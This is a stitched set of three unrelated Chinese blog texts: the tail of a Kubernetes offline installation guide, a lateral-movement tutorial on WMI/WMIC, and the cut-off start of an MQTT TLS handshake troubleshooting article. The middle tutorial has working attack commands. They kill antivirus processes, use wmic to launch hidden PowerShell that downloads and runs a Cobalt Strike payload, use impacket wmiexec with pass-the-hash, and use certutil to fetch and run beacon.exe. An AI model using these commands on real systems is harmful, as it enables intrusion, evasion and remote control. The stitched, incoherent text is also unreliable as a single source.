"s#^net.ipv6.conf.all.disable_ipv6.*#net.ipv6.conf.all.disable_ipv6=1#g" /etc/sysctl.conf sed -i "s#^net.ipv6.conf.default.disable_ipv6.*#net.ipv6.conf.default.disable_ipv6=1#g" /etc/sysctl.conf sed -i "s#^net.ipv6.conf.lo.disable_ipv6.*#net.ipv6.conf.lo.disable_ipv6=1#g" /etc/sysctl.conf sed -i "s#^net.ipv6.conf.all.forwarding.*#net.ipv6.conf.all.forwarding=1#g" /etc/sysctl.conf # 可能没有,追加 echo "net.ipv4.ip_forward = 1" >> /etc/sysctl.conf echo "net.bridge.bridge-nf-call-ip6tables = 1" >> /etc/sysctl.conf echo "net.bridge.bridge-nf-call-iptables = 1" >> /etc/sysctl.conf echo "net.ipv6.conf.all.disable_ipv6 = 1" >> /etc/sysctl.conf echo "net.ipv6.conf.default.disable_ipv6 = 1" >> /etc/sysctl.conf echo "net.ipv6.conf.lo.disable_ipv6 = 1" >> /etc/sysctl.conf echo "net.ipv6.conf.all.forwarding = 1" >> /etc/sysctl.conf # 执行命令以应用 sysctl -p #################################################################防火墙端口控制平面节点(master)协议方向端口范围作用使用者TCP入站6443Kubernetes API 服务器所有组件TCP入站2379-2380etcd 服务器客户端 APIkube-apiserver, etcdTCP入站10250Kubelet APIkubelet 自身、控制平面组件TCP入站10251kube-schedulerkube-scheduler 自身TCP入站10252kube-controller-managerkube-controller-manager 自身工作节点(worker)协议方向端口范围作用使用者TCP入站10250Kubelet APIkubelet 自身、控制平面组件TCP入站30000-32767NodePort 服务†所有组件注:正式环境,建议开通端口访问。安装 CNI 插件(大多数 Pod 网络都需要):CNI_VERSION="v0.8.2" ARCH="amd64" sudo mkdir -p /opt/cni/bin curl -L "https://github.com/containernetworking/plugins/releases/download/${CNI_VERSION}/cni-plugins-linux-${ARCH}-${CNI_VERSION}.tgz" | sudo tar -C /opt/cni/bin -xz离线部署:下载好cni-plugins-linux-amd64-v0.8.2.tgz,上传到/opt/tools/k8s下面解压安装:mkdir /opt/cni/bin tar -zxvf cni-plugins-linux-amd64-v0.8.2.tgz -C /opt/cni/bin安装 crictl(kubeadm/kubelet 容器运行时接口(CRI)所需)DOWNLOAD_DIR=/usr/local/bin sudo mkdir -p $DOWNLOAD_DIRCRICTL_VERSION="v1.17.0" ARCH="amd64" curl -L "https://github.com/kubernetes-sigs/cri-tools/releases/download/${CRICTL_VERSION}/crictl-${CRICTL_VERSION}-linux-${ARCH}.tar.gz" | sudo tar -C $DOWNLOAD_DIR -xz离线部署:下载好crictl-v1.17.0-linux-amd64.tar.gz,上传到/opt/tools/k8s下面解压安装:tar -zxvf crictl-v1.17.0-linux-amd64.tar.gz -C /usr/local/bin3.k8s服务安装官网教程安装版本:v1.22.4安装 kubeadm、kubelet、kubectl 并添加 kubelet 系统服务:DOWNLOAD_DIR=/usr/local/bin sudo mkdir -p $DOWNLOAD_DIRRELEASE="$(curl -sSL https://dl.k8s.io/release/stable.txt)" ARCH="amd64" cd $DOWNLOAD_DIR sudo curl -L --remote-name-all https://storage.googleapis.com/kubernetes-release/release/${RELEASE}/bin/linux/${ARCH}/{kubeadm,kubelet,kubectl} sudo chmod +x {kubeadm,kubelet,kubectl} RELEASE_VERSION="v0.4.0" curl -sSL "https://raw.githubusercontent.com/kubernetes/release/${RELEASE_VERSION}/cmd/kubepkg/templates/latest/deb/kubelet/lib/systemd/system/kubelet.service" | sed "s:/usr/bin:${DOWNLOAD_DIR}:g" | sudo tee /etc/systemd/system/kubelet.service sudo mkdir -p /etc/systemd/system/kubelet.service.d curl -sSL "https://raw.githubusercontent.com/kubernetes/release/${RELEASE_VERSION}/cmd/kubepkg/templates/latest/deb/kubeadm/10-kubeadm.conf" | sed "s:/usr/bin:${DOWNLOAD_DIR}:g" | sudo tee /etc/systemd/system/kubelet.service.d/10-kubeadm.conf离线部署:下载好kubeadm,kubelet,kubectl,上传到/opt/tools/k8s下面chmod +x kubeadm kubectl kubelet cp kube* /usr/local/bin/ kubeadm version kubectl version kubelet version下载好kubelet.service,10-kubeadm.conf,上次到/opt/tools/k8s下面DOWNLOAD_DIR=/usr/local/bin sed -i "s:/usr/bin:${DOWNLOAD_DIR}:g" kubelet.service cp kubelet.service /etc/systemd/system/kubelet.servicemkdir -p /etc/systemd/system/kubelet.service.d sed -i "s:/usr/bin:${DOWNLOAD_DIR}:g" 10-kubeadm.conf cp 10-kubeadm.conf /etc/systemd/system/kubelet.service.d激活并启动 kubelet:systemctl enable --now kubeletkubelet 现在每隔几秒就会重启,因为它陷入了一个等待 kubeadm 指令的死循环。配置 cgroup 驱动程序注意:由于docker默认是使用cgroupfs,kubelet是使用systemd,这里要一致,否则启动不了kubelet。修改docker的为systemd#编辑或新增daemon.json文件 vi /etc/docker/daemon.json #添加如下配置 "exec-opts": ["native.cgroupdriver=systemd"] }重启docker:systemctl restart docker systemctl status docker4.kubeadm创建集群4.1.准备所需的容器镜像这个步骤是可选的,只适用于你希望 kubeadm init 和 kubeadm join 不去下载存放在 k8s.gcr.io 上的默认的容器镜像的情况。离线下运行kubeadm要在没有互联网连接的情况下运行 kubeadm,你必须提前拉取所需的控制平面镜像。你可以使用 kubeadm config images 子命令列出并拉取镜像:kubeadm config images list kubeadm config images pull所需镜像如下:可以找一台能上面的服务器,将这些镜像下载下来。k8s.gcr.io/kube-apiserver:v1.22.4k8s.gcr.io/kube-controller-manager:v1.22.4k8s.gcr.io/kube-scheduler:v1.22.4k8s.gcr.io/kube-proxy:v1.22.4k8s.gcr.io/pause:3.5k8s.gcr.io/etcd:3.5.0-0k8s.gcr.io/coredns/coredns:v1.8.4将下载下来的镜像,使用docker save -o xxx.tar 镜像,的方式导出,然后上传到/opt/tools/k8s/images下面。再使用docker load -i xxx.tar的方式,将镜像加载到本地docker环境下。注意,这里会有个奇葩的问题,通过这种方式,coredns这个镜像的名称,变成了k8s.gcr.io/coredns:v1.8.4,少了一层coredns,这个需要重新打标签tag。docker tag k8s.gcr.io/coredns:v1.8.4 k8s.gcr.io/coredns/coredns:v1.8.44.2.执行initkubeadm init \ --apiserver-advertise-address=192.168.4.45 \ --kubernetes-version v1.22.4 \ --service-cidr=10.96.0.0/16 \ --pod-network-cidr=192.168.0.0/16apiserver-advertise-address:为master的 API server 设置广播地址,即master主机的ip。kubernetes-version:为k8s的版本号service-cidr:为负载均衡可达的ip范围pod-network-cidr:为pod的服务可达的ip范围注意:pod-cidr与service-cidrcidr 无类别域间路由(Classless Inter-Domain Routing、CIDR)指定一个网络可达范围 pod的子网范围+service负载均衡网络的子网范围+本机ip的子网范围不能有重复域4.3.按照提示继续kubeadm init xxx,打印的日志如下:[init] Using Kubernetes version: v1.22.4 [preflight] Running pre-flight checks [preflight] Pulling images required for setting up a Kubernetes cluster [preflight] This might take a minute or two, depending on the speed of your internet connection [preflight] You can also perform this action in beforehand using 'kubeadm config images pull' [certs] Using certificateDir folder "/etc/kubernetes/pki" [certs] Using existing ca certificate authority [certs] Using existing apiserver certificate and key on disk [certs] Using existing apiserver-kubelet-client certificate and key on disk [certs] Using existing front-proxy-ca certificate authority [certs] Using existing front-proxy-client certificate and key on disk [certs] Using existing etcd/ca certificate authority [certs] Using existing etcd/server certificate and key on disk [certs] Using existing etcd/peer certificate and key on disk [certs] Using existing etcd/healthcheck-client certificate and key on disk [certs] Using existing apiserver-etcd-client certificate and key on disk [certs] Using the existing "sa" key [kubeconfig] Using kubeconfig folder "/etc/kubernetes" [kubeconfig] Using existing kubeconfig file: "/etc/kubernetes/admin.conf" [kubeconfig] Using existing kubeconfig file: "/etc/kubernetes/kubelet.conf" [kubeconfig] Using existing kubeconfig file: "/etc/kubernetes/controller-manager.conf" [kubeconfig] Using existing kubeconfig file: "/etc/kubernetes/scheduler.conf" [kubelet-start] Writing kubelet environment file with flags to file "/var/lib/kubelet/kubeadm-flags.env" [kubelet-start] Writing kubelet configuration to file "/var/lib/kubelet/config.yaml" [kubelet-start] Starting the kubelet [control-plane] Using manifest folder "/etc/kubernetes/manifests" [control-plane] Creating static Pod manifest for "kube-apiserver" [control-plane] Creating static Pod manifest for "kube-controller-manager" [control-plane] Creating static Pod manifest for "kube-scheduler" [etcd] Creating static Pod manifest for local etcd in "/etc/kubernetes/manifests" [wait-control-plane] Waiting for the kubelet to boot up the control plane as static Pods from directory "/etc/kubernetes/manifests". This can take up to 4m0s [apiclient] All control plane components are healthy after 6.503100 seconds [upload-config] Storing the configuration used in ConfigMap "kubeadm-config" in the "kube-system" Namespace [kubelet] Creating a ConfigMap "kubelet-config-1.22" in namespace kube-system with the configuration for the kubelets in the cluster [upload-certs] Skipping phase. Please see --upload-certs [mark-control-plane] Marking the node k8s-master as control-plane by adding the labels: [node-role.kubernetes.io/master(deprecated) node-role.kubernetes.io/control-plane node.kubernetes.io/exclude-from-external-load-balancers] [mark-control-plane] Marking the node k8s-master as control-plane by adding the taints [node-role.kubernetes.io/master:NoSchedule] [bootstrap-token] Using token: jokbeq.logz5fixljdrna6r [bootstrap-token] Configuring bootstrap tokens, cluster-info ConfigMap, RBAC Roles [bootstrap-token] configured RBAC rules to allow Node Bootstrap tokens to get nodes [bootstrap-token] configured RBAC rules to allow Node Bootstrap tokens to post CSRs in order for nodes to get long term certificate credentials [bootstrap-token] configured RBAC rules to allow the csrapprover controller automatically approve CSRs from a Node Bootstrap Token [bootstrap-token] configured RBAC rules to allow certificate rotation for all node client certificates in the cluster [bootstrap-token] Creating the "cluster-info" ConfigMap in the "kube-public" namespace [kubelet-finalize] Updating "/etc/kubernetes/kubelet.conf" to point to a rotatable kubelet client certificate and key [addons] Applied essential addon: CoreDNS [addons] Applied essential addon: kube-proxy Your Kubernetes control-plane has initialized successfully! To start using your cluster, you need to run the following as a regular user: mkdir -p $HOME/.kube sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config sudo chown $(id -u):$(id -g) $HOME/.kube/config Alternatively, if you are the root user, you can run: export KUBECONFIG=/etc/kubernetes/admin.conf You should now deploy a pod network to the cluster. Run "kubectl apply -f [podnetwork].yaml" with one of the options listed at: https://kubernetes.io/docs/concepts/cluster-administration/addons/ Then you can join any number of worker nodes by running the following on each as root: kubeadm join 192.168.4.45:6443 --token jokbeq.logz5fixljdrna6r \ --discovery-token-ca-cert-hash sha256:16ba5133d2ca72714c4a7dd864a5906baa427dc53d8eb7cf6d890388300a052a 第一步:复制相关文件夹To start using your cluster, you need to run the following as a regular user: mkdir -p $HOME/.kube sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config sudo chown $(id -u):$(id -g) $HOME/.kube/config第二步:导出环境变量Alternatively, if you are the root user, you can run: export KUBECONFIG=/etc/kubernetes/admin.conf第三步:部署一个pod网络(这里选择:calico)You should now deploy a pod network to the cluster. Run "kubectl apply -f [podnetwork].yaml" with one of the options listed at: https://kubernetes.io/docs/concepts/cluster-administration/addons/calico安装教程,版本:v3.21.1使用 Kubernetes API 数据存储进行安装 - 50 个或更少节点在线部署:1.下载 Kubernetes API 数据存储的 Calico 网络清单。curl https://docs.projectcalico.org/manifests/calico.yaml -O2.如果您使用 pod CIDR 192.168.0.0/16,请跳到下一步。如果您使用不同的 pod CIDR,请使用以下命令设置一个名为的环境变量,POD_CIDR其中包含您的 pod CIDR,并192.168.0.0/16在清单中替换为您的 pod CIDR。(由于我们使用的就是这个,这步不需要操作)POD_CIDR="<your-pod-cidr>" \ sed -i -e "s?192.168.0.0/16?$POD_CIDR?g" calico.yaml3.使用以下命令应用清单。kubectl apply -f calico.yaml离线环境下部署:由于执行calico.yaml,需要用到镜像,无法上网的,可以在有网的服务器先下载对应的镜像。cat calico.yaml | grep image: | awk '{print $2}'docker.io/calico/cni:v3.21.1docker.io/calico/pod2daemon-flexvol:v3.21.1docker.io/calico/node:v3.21.1docker.io/calico/kube-controllers:v3.21.1# 拉取全部镜像 cat calico.yaml \ | grep image: \ | awk '{print "docker pull " $2}' \ # 当然你也可以一个一个pull # 在当前目录导出镜像为压缩包 docker save -o calico-cni-v3.21.1.tar calico/cni:v3.21.1 docker save -o calico-pod2daemon-flexvol-v3.21.1.tar calico/pod2daemon-flexvol:v3.21.1 docker save -o calico-node-v3.21.1.tar calico/node:v3.21.1 docker save -o calico-kube-controllers-v3.21.1.tar calico/kube-controllers:v3.21.1 # 加载到docker环境 docker load -i calico-cni-v3.21.1.tar docker load -i calico-pod2daemon-flexvol-v3.21.1.tar docker load -i calico-node-v3.21.1.tar docker load -i calico-kube-controllers-v3.21.1.tar # 安装calico kubectl apply -f calico.yaml # 删除calico kubectl delete -f calico.yaml 安装成功:同时,coredns,也会变成Running状态。第四步:创建workerThen you can join any number of worker nodes by running the following on each as root: kubeadm join 192.168.4.45:6443 --token jokbeq.logz5fixljdrna6r \ --discovery-token-ca-cert-hash sha256:16ba5133d2ca72714c4a7dd864a5906baa427dc53d8eb7cf6d890388300a052a #token过期怎么办 kubeadm token create --print-join-command kubeadm join 192.168.4.45:6443 --token l7smzu.ujy68m80prq526nh --discovery-token-ca-cert-hash sha256:16ba5133d2ca72714c4a7dd864a5906baa427dc53d8eb7cf6d890388300a052a k8s安装效果:5.验证集群#获取所有节点 kubectl get nodes #给节点打标签 ## k8s中万物皆对象。node:机器 Pod:应用容器 ###加标签 kubectl label node k8s-worker1 node-role.kubernetes.io/worker='' ###去标签 kubectl label node k8s-worker1 node-role.kubernetes.io/worker- ## k8s集群,机器重启了会自动再加入集群,master重启了会自动再加入集群控制中心接下来,告诉 Kubernetes 清空节点:kubectl drain <node name>一旦它返回(没有报错), 你就可以下线此节点(或者等价地,如果在云平台上,删除支持该节点的虚拟机)。 如果要在维护操作期间将节点留在集群中,则需要运行:kubectl uncordon <node name>
【内网安全-横向移动】WMI-WMIC命令&相关内网工具
一、WMI1、简述: 1)官方介绍:WMI 具有管理员和 WMI 提供程序编写器使用的多个命令行工具WMI 命令行工具 - Win32 apps | Microsoft Learnhttps://learn.microsoft.com/zh-cn/windows/win32/wmisdk/wmi-command-line-tools2)优点:内网中大多数 Win系统自带 wmic 命令,并且该方法不会在目标日志系统留下痕迹,支持用户名明文或者hash的方式进行认证3)条件:目标主机开放 135 端口(建立连接);且允许随机一个高位端口进行数据通信;需要本地管理员或域管理员权限;部分命令可能不可用(如查询杀软);防火墙开放连接、通信端口4)不足:系统自带的 WMIC ,连接执行命令无回显--->将执行的返回结果写入文件--->读取文件内容5)WMIC管理命令:(命令来自网络)1、常用命令: wmic logon list brief #登录⽤户 wmic ntdomain list brief #域控机器 wmic useraccount list brief #⽤户列表 wmic share get name,path #查看系统共享 wmic service list brief |more #服务列表 wmic startup list full #识别开机启动的程序,包括路径 wmic fsdir "c:\\test" call delete #删除C盘下的test目录 wmic nteventlog get path,filename,writeable #查看系统中开启的⽇志 wmic nicconfig get ipaddress,macaddress #查看系统中⽹卡的IP地址和MAC地址 wmic qfe get description,installedOn #使⽤wmic识别安装到系统中的补丁情况 wmic product get name,version #查看系统中安装的软件及版本 wmic useraccount where "name='%UserName%'" call rename newUserName #更改当前用户名 wmic useraccount where "name='Administrator'" call Rename admin #更改指定用户名 wmic bios list full | findstr /i "vmware" #查看当前系统是否是VMWARE(按实际情况进行筛选) wmic desktop get screensaversecure,screensavertimeout #查看当前系统是否有屏保,及延迟 wmic process where name="vmtoolsd.exe" get executablepath #获取指定进程可执行文件的路径 wmic environment where "name='temp'" get UserName,VariableValue #获取temp环境变量 2、查询当前主机的杀毒软件(可能无法正常使用) wmic process where "name like '%forti%'" get name wmic process where name="FortiTray.exe" call terminate wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState,pathToSignedProductExe wmic /namespace:\\root\securitycenter2 path antispywareproduct GET displayName,productState, pathToSignedProductExe & wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List 3、查询windows机器版本和服务位数和.net版本 wmic os get caption wmic os get osarchitecture wmic OS get Caption,CSDVersion,OSArchitecture,Version wmic product where "Name like 'Microsoft .Net%'" get Name, Version 4、查询本机所有盘符 wmic logicaldisk list brief wmic logicaldisk get description,name,size,freespace /value 5、卸载和重新安装程序 wmic product where "name like '%Office%'" get name wmic product where name="Office" call uninstall 6、查看某个进程的详细信息 (路径,命令⾏参数等) wmic process where name="chrome.exe" list full wmic process where name="frp.exe" get executablepath,name,ProcessId 进程路径 wmic process where caption="frp.exe" get caption,commandline /value 7、更改PATH环境变量值,新增c:\whoami wmic environment where "name='path' and username='<system>'" set VariableValue="%path%;c:\whoami 8、查看某个进程的详细信息-PID wmic process list brief tasklist /SVC | findstr frp.exe wmic process where ProcessId=3604 get ParentProcessId,commandline,processid,executablepath,name,CreationClassName,CreationDate 9、终⽌⼀个进程 wmic process where name ="xshell.exe" call terminate ntsd -c q -p 进程的PID taskkill -im pid 10、获取电脑产品编号和型号信息 wmic baseboard get Product,SerialNumber wmic bios get serialnumber 11、安装软件 wmic product get name,version wmic product list brief 12、使用Powershell操作wmi Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Share #共享 Get-WmiObject -Namespace ROOT\CIMV2 -Class CIM_DataFile #⽂件/⽬录列表 Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Volume #磁盘卷列表 Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Process #当前进程 Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Service #列举服务 Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_NtLogEvent #⽇志 Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_LoggedOnUser #登陆账户 Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_QuickFixEngineering #补丁 Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct #杀毒软件 13、操作系统相关信息 Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_OperatingSystem Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_ComputerSystem Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_BIOS 14、注册表操作 Get-WmiObject -Namespace ROOT\DEFAULT -Class StdRegProv Push-Location HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Run Get-ItemProperty OptionalComponents6)相关工具:wmiexec.py:impacket/wmiexec.py at master · fortra/impacket (github.com)https://github.com/fortra/impacket/blob/master/examples/wmiexec.py(impacket 工具包里)提供了通过 wmi 执行命令并回显的功能(445、135 和高位随机端口;445端口是SMB连接,完成执行命令的回显),未开放也支持无回显的方式进行命令执行注:特殊字符用\转移,如@--->\@ python3 wmiexec.py 用户名:密码\@目标IP python3 wmiexec.py 域名/用户名:密码\@目标IP 2、执行命令 python3 wmiexec.py 域名/用户名:密码\@目标IP "命令" 3、哈希传递获得shell python3 wmiexec.py -hashes LM-Hash:NT-Hash 域名/用户名\@目标IP 4、获得shell后,执行命令 python3 wmiexec.py -hashes LM-Hash:NT-Hash 域名/用户名\@目标IP "命令"Windows操作系统中的密码一般由两部分组成,一部分为LM Hash,另一部分为NTLM Hash即:username:RID:LM-HASH:NT-HASH——————wmicmd:1、简述:一个仅使用WMI的小型实用程序:执行命令shell命令、从这些命令中捕获标准输出并写入注册表、读取然后从注册表中删除、打印到本地标准输出(需要.NET相应版本)2、项目地址:nccgroup/WMIcmd: A command shell wrapper using only WMI for Microsoft Windows (github.com)https://github.com/nccgroup/WMIcmd(使用方法项目地址里有)——————WMIHACKER:1、简述:将执行结果写入到注册表(方法:使用事件触发器调用 VB 代码,达到命令执行效果)2、区别:(都是写入注册表)wmiexe.py 和 wmicmd 是通过创建win32Process 进程执行命令3、项目地址:rootclay/WMIHACKER: A Bypass Anti-virus Software Lateral Movement Command Execution Tool (github.com)https://github.com/rootclay/WMIHACKER——————Ladon插件(集成):项目地址:Releases · k8gege/Ladon (github.com)https://github.com/k8gege/Ladon/releases功能如下:1、网络资产收集 多协议探测存活主机 仅ICMP探测存活(快) Oxid多网卡主机探测 多协议操作系统探测 网站、标题、Banner 智能网站CMS识别 常见端口服务探测 Shiro探测 Cisco探测 LDAP服务器探测 FTP服务器探测 枚举MSSQL服务器 枚举共享资源 2、系统信息探测 SMB探测系统信息 WMI探测系统信息 NBT探测系统信息 RDP探测系统信息 SNMP探测系统信息 MSSQL探测系统信息 WINRM探测系统信息 Exchange探测系统信息 3、远程漏洞检测 SMB永恒之蓝检测 SMB永恒之黑检测 Struts2漏洞检测 Weblogic漏洞检测 PhpStudy后门检测 ActiveMQ漏洞检测 Tomcat漏洞检测 4、一键GetShell Exchange CVE-2020-0688 Weblogic GetShell Tomcat GetShell 5、网络密码嗅探 FTP密码嗅探 HTTP密码嗅探 6、网络密码审计 445端口SMB密码审计(Windows) 135端口WMI密码审计(Windows) 445端口SMB-HASH密码审计(Windows) 135端口WMI-HASH密码审计(Windows) 139端口NBT密码审计(Windows) 5985端口Winrm密码审计(Windows) 21端口FTP密码审计(多平台) 5900端口VNC密码审计(多平台) 389端口LDAP密码审计(Windows) 1521端口Oracle数据库密码审计(多平台) 1433端口SQL数据库密码审计(Windows) 3306端口MYSQL数据库密码审计(多平台) 7001端口Weblogic后台密码审计(多平台) Web端口Tomcat后台密码审计(多平台) Web端口401基础认证密码审计(多平台) 22端口SSH密码审计(Linux_多平台) 网络摄像头密码审计(401认证) 7、本机执行 sc服务执行(system权限) at计划任务(system权限) Runas(模拟用户执行) RunPS(无powershell执行) ForExec(循环执行命令) 8、远程执行 WinrmExec SshExec SmbExec PsExec AtExec WmiExec WmiExec2 WinrmExec JspShell AspShell AspxShell PhpShell 9、本地提权 BypassUac eventvwr fodhelper computerdefaults sdclt BypassUac2 GetSystem Runas ms16135 BadPotato SweetPotato RDPHijack CVE-2021-1675 10、自启动 注册表自启动 服务启动项 11、3389远程桌面 一键开启3389 查看3389远程连接 查看管理员组用户 激活Administrator 激活用户Guest 远程桌面会话劫持 12、远程下载 Http文件下载 FTP文件下载 13、域(DC、LDAP) 域内机器信息获取(域内) 389端口LDAP服务器探测 389端口LDAP密码审计 CVE-2020-1472域控提权 14、后门/木马查看 注册表启动项 系统却持DLL 15、域名解析 Domain2IP Host2IP 16、端口转发 netsh(系统自带) PortTran 17、本机信息收集 查看本机IP(内外网) 当前用户、特权信息 GUID、CPUID、DiskID 基础信息(仅cmd获取) 基础信息(含wmi获取) 获取命令行参数 获取进程详细信息 查看IE代理信息 查看本机命名管道 查看3389远程连接 查看USB使用记录 查看管理员组用户 查看最近访问文件 查看安装.NET版本 查看PowerShell版本 查看已安装程序版本 18、本机密码读取 IIS站点密码 CVE-2021-36934 DumpLsass 19、MSF/NC联动 Shell_bind_tcp Shell_reverse_tcp Met_reverse_http Met_reverse_https Shell_reverse_icmp Shell_reverse_dns 20、其它功能 网站HTML源码查看 2、上线:1、wmic1)方法一:Attacks--->Web Drive-by--->Scripted Web Delivery(脚本式网页递送)进行相关的配置(与后面上线cs命令,紧密贴合)设置监听器、以及Type为powershell在客户机上执行wmic命令wmic /NODE:192.168.*.*(目标主机) /user:"用户" /password:"密码" PROCESS call create "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://*.*.*.*:port/a'))\""上线cs成功 ——————2)方法二:Attacks--->Packages--->payload generator(有效载荷发生器)选中监听器--->载荷选Powershell客户机上执行wmic命令(指定机器上线CS)wmic /NODE:192.168.*.* /user:"用户" /password:"密码" PROCESS call create "powershell -nop -exec bypass -c \"IEX(New-Object Net.WebClient).DownloadString('http://*.*.*.*:port/payload.ps1');\""2、impacket-wmiexec1)执行命令交互式&单执行wmiexec ./administrator:密码@192.168.*.*(目标主机) "whoami"wmiexec -hashes :值 ./administrator@192.168.*.*(目标主机) "whoami"——————2)下载后门wmiexec ./administrator:密码@192.168.*.*(目标主机) "cmd.exe /c certutil -urlcache -split -f http://192.168.*.*/beacon.exe c:/beacon.exe"——————3)执行后门wmiexec ./administrator:密码@192.168.*.*(目标主机) "cmd.exe /c c:/beacon.exe"3、wmicmd.exe(需要.NET环境)1)在工作组上使用WMIcmd.exe -h IP -d hostname -u localadmin -p theirpassword -c "command"2)在域内使用WMIcmd.exe -h IP -d domain -u domainadmin -p theirpassword -c "command"4、WMIHACKER使用方法来自GitHubrootclay/WMIHACKER:绕过防病毒软件横向移动命令执行工具 (github.com)https://github.com/rootclay/WMIHACKER1、命令执行后显示结果 cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 administrator "Password!" "systeminfo" 1 2、命令执行后不显示任何结果 cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 administrator "Password!" "systeminfo > c:\1.txt" 0 3、获取交互式shell cscript WMIHACKER_0.6.vbs /shell 172.16.94.187 administrator "Password!" 4、文件上传:将本地calc.exe复制到远程主机c:\calc.exe cscript wmihacker_0.6.vbs /upload 172.16.94.187 administrator "Password!" "c:\windows\system32\calc.exe" "c:\calc" 5、文件下载:将远程主机calc.exe下载到本地c:\calc.exe cscript wmihacker_0.6.vbs /download 172.16.94.187 administrator "Password!" "c:\calc" "c:\windows\system32\calc.exe"
【网络编程开发系列】好端端的MQTT-broker重新部署后居然出现TLS握手失败了
【网络编程开发系列】好端端的MQTT-broker重新部署后居然出现TLS握手失败了摘要:本文通过一次真实的现网案例复盘,深度还原TLS握手问题的排查思路和方法,希望对广大读者有所启发和帮助。1 写在前面最近博主又遇到了一个非常头疼的网络问题,还是差点要 通宵加班 那种,所幸的是,在 deadline 之前有效地解决了问题。不过,这次问题有点不一样,它不是简单的TCP网络问题,而是基于TLS的网络连接问题。本文将会深度复盘本次的在网排查思路,通过本文的阅读,你将会了解到以下几部分的核心内容:TLS握手的基本流程;数字证书的作用及其基本格式内容;如何使用工具查看X509格式的数字证书;证书链的理论与实践;网络抓包分析的方法;如何高效地阅读和排查mbedtls的源码?基于mbedtls实现的TLS,如何裁剪和配置?mbedtls的LOG打印如何调试?2 问题描述2.1 项目背景最近公司签了一个大客户的私有化部署项目,根据双方的约定,我们需要将我们的IoT方案部署在客户的私有环境上,以便于客户能够自己掌控整一个设备数据的权限与安全等相关信息。为此,我们平台开发的同事还特意出差到客户现场,计划安排一周的时间,完成私有化部署、在网设备的接入验证,以及相关的技术培训等等内容。我们平台的测试同事还特意带了我们的测试设备过去,准备现场直接入网接入测试等一系列工作。一开始平台侧的环境部署还是比较顺利的,把我们的各种服务部署到客户的服务器上,很快就把服务给跑起来了。在我们的IoT方案中,服务端暴露的是一个 MQTT broker ,终端设备通过 MQTT 协议连接上broker,进而通过broker分发消息,实现业务消息的上下行。整一个架构示意图类似这样:2.2 现场问题后端服务跑起来后,已经来到了第三天,开始做终端侧和移动端侧的连接验证,测试人员把之前带过去的终端设备跑起来,发现终端设备连不到现在私有化的后端环境。由于测试的同事测的比较多,很快从日志中发现了,当前终端的固件默认链接的是以前公网部署环境,而不是客户私有化部署的环境。于是,第一时间请求我们:终端的固件要增加对新的私有化部署环境进行支持,需要增改代码。根据我们过往的需求开发经验,早前也有其他的客户执行过类似的私有化部署操作,我们终端侧改起来还是很快的,依葫芦画瓢,把对应的域名、URL和端口,还有生产使用的数字证书(因为我们的通讯链路走的是 MQTTS,即MQTT + TLS);全部给到我们之后,很快,我们就输出了一版新的测试固件,该固件理论上就可以支持对新的私有化部署环境的连接访问。哪知,又出幺蛾子了:客户的部署环境的域名还未完成备案(据说还在等lingdao签字审批,流程比较复杂),所以终端无法对该域名做正确的解析,即便解析了,获取的IP地址也不是客户的环境,而是另一个不知道是哪的IP地址,反正就是网络数据包到不了后台环境。好在当时部署的现场,运维的同事也在现场,紧急部署了一个路由器环境,发射一个特定的Wi-Fi热点以供测试的终端设备去连接,在这个路由器中,运维已经对它的域名解析(配置域名服务器和HOST信息)做了手脚,使其能够正确解析客户部署的域名环境,终端得以拿到正确的IP地址,从而能够访问到后端服务环境。测试快速地使用新搭建的Wi-Fi热点进行新一轮测试,终于看到连接过去了,但是之前没有见过的 TLS握手失败 如期而至,自然问题一个劲的直接甩到我们这边。看样子真的TLS握手失败,mbedtls返回的错误码是 -0x7a00,如下所示:3 场景复现3.1 过往经验看到上面报过来的现场问题,说实话,我也是懵的,因为这个错误码在过往的调试、开发、测试过程中并没有见过。虽然之前也遇到过一些 TLS握手失败的问题,一般可能就是CA证书没有配好,或者还有一个 mbedtls配置项 MBEDTLS_SSL_MAX_CONTENT_LEN 没有配好,导致的。这个配置项坑过我们几次,后面干脆我们把配置这个参数的菜单项都留出来了,我们看下它的定义(摘自RT-Thread中的 软件包mbedtls的配置项说明):一般我们会在一些客户的现网环境下容易出现这个 0x7200 的错误,为了节省终端的RAM开销,我们默认使用的是 4096,而当有些后台环境的证书过大时(证书支持的项目内容较多或者多几级证书链)时,就会引发这个问题。解决的方法也比较简单,把这个 MBEDTLS_SSL_MAX_CONTENT_LEN 配大一些,比如 8192 ,就可以解决这个问题。根据这个过往经验,我们尝试把参数改大,再编译固件给现场做验证,问题依旧,证明并不会由这个配置项引发的。无奈,既然过往的经验不顶用,自然得另寻他法了,不能一直这么卡着,研发的作用不正是 发现问题并解决问题 吗?换句话说,成长的路径不正是解决一个又一个的未知问题 吗?3.2 